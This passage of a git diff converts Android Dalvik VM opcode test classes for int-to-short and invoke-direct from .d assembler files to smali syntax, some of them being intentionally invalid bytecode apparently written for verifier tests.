+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       int-to-long v0, v6
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_1.d
deleted file mode 100644
index fcf1727..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_short_1.java
-.class public dot.junit.opcodes.int_to_short.d.T_int_to_short_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)S
-.limit regs 5
-
-       int-to-short v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_1.smali
new file mode 100644
index 0000000..5d66043
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_1.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)S
+.registers 5
+
+       int-to-short v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_2.d
deleted file mode 100644
index 9c1154b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_short_2.java
-.class public dot.junit.opcodes.int_to_short.d.T_int_to_short_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)S
-.limit regs 5
-
-       const-wide v0, 3.14
-       int-to-short v2, v0
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_2.smali
new file mode 100644
index 0000000..e55c77b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_2.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)S
+.registers 5
+
+       const-wide v0, 3.14
+       int-to-short v2, v0
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_3.d
deleted file mode 100644
index 5f83549..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_short_3.java
-.class public dot.junit.opcodes.int_to_short.d.T_int_to_short_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)S
-.limit regs 5
-
-       const-wide v0, 1234
-       int-to-short v2, v0
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_3.smali
new file mode 100644
index 0000000..4db865f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_3.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)S
+.registers 5
+
+       const-wide v0, 1234
+       int-to-short v2, v0
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_4.d
deleted file mode 100644
index 147fb66..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_short_4.java
-.class public dot.junit.opcodes.int_to_short.d.T_int_to_short_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)S
-.limit regs 5
-
-       int-to-short v2, v3
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_4.smali
new file mode 100644
index 0000000..473c5a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_4.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)S
+.registers 5
+
+       int-to-short v2, v3
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_5.d
deleted file mode 100644
index 8ca83e6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_short_5.java
-.class public dot.junit.opcodes.int_to_short.d.T_int_to_short_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)S
-.limit regs 5
-
-       int-to-short v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_5.smali
new file mode 100644
index 0000000..e97e5ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_5.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)S
+.registers 5
+
+       int-to-short v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_6.d
deleted file mode 100644
index 8d6f0ec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_short_6.java
-.class public dot.junit.opcodes.int_to_short.d.T_int_to_short_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)S
-.limit regs 5
-
-       int-to-short v0, v5
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_6.smali
new file mode 100644
index 0000000..e328b80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_6.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)S
+.registers 5
+
+       int-to-short v0, v5
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_1.d
deleted file mode 100644
index 65a8a32..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_1.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_1
-.super dot/junit/opcodes/invoke_direct/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_direct/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {v2}, dot/junit/opcodes/invoke_direct/TSuper/toInt()I
-       move-result v1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_1.smali
new file mode 100644
index 0000000..403e003
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_1.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_1;
+.super  Ldot/junit/opcodes/invoke_direct/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/TSuper;->toInt()I
+       move-result v1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_10.d
deleted file mode 100644
index 08b22c9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_10.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_10.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v0, 1222
-       invoke-direct {v0}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_10/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_10.smali
new file mode 100644
index 0000000..12753a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_10.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_10.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       const v0, 1222
+       invoke-direct {v0}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_10;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_11.d
deleted file mode 100644
index 6566718..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_11.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_11.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {v2}, dot.junit.opcodes.invoke_direct.d.T_invoke_direct_11/toInt()I
-       move-result v0
-       return v0
-.end method
-
-
-.method private static toInt()I
-.limit regs 1
-    const v0, 0
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_11.smali
new file mode 100644
index 0000000..82f9b2f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_11.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_11.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_11;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
+.method private static toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_12.d
deleted file mode 100644
index 9f79d59..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_12.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_12.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_12
-.super dot/junit/opcodes/invoke_direct/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_direct/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {v2}, dot/junit/opcodes/invoke_direct/TSuper/toIntPvt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_12.smali
new file mode 100644
index 0000000..0fbe0d3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_12.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_12.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_12;
+.super  Ldot/junit/opcodes/invoke_direct/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/TSuper;->toIntPvt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_13.d
deleted file mode 100644
index 23d4378..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_13.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_13.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_13
-.super dot/junit/opcodes/invoke_direct/TAbstract
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_direct/TAbstract/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-       invoke-direct {v2}, dot/junit/opcodes/invoke_direct/TAbstract/toInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_13.smali
new file mode 100644
index 0000000..5977154
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_13.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_13.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_13;
+.super  Ldot/junit/opcodes/invoke_direct/TAbstract;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/TAbstract;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/TAbstract;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_14.d
deleted file mode 100644
index 4d10ce8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_14.d
+++ /dev/null
@@ -1,70 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_14.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private test(II)I
-.limit regs 7
-       const v0, 999
-       const v1, 888
-       const v2, 777
-       
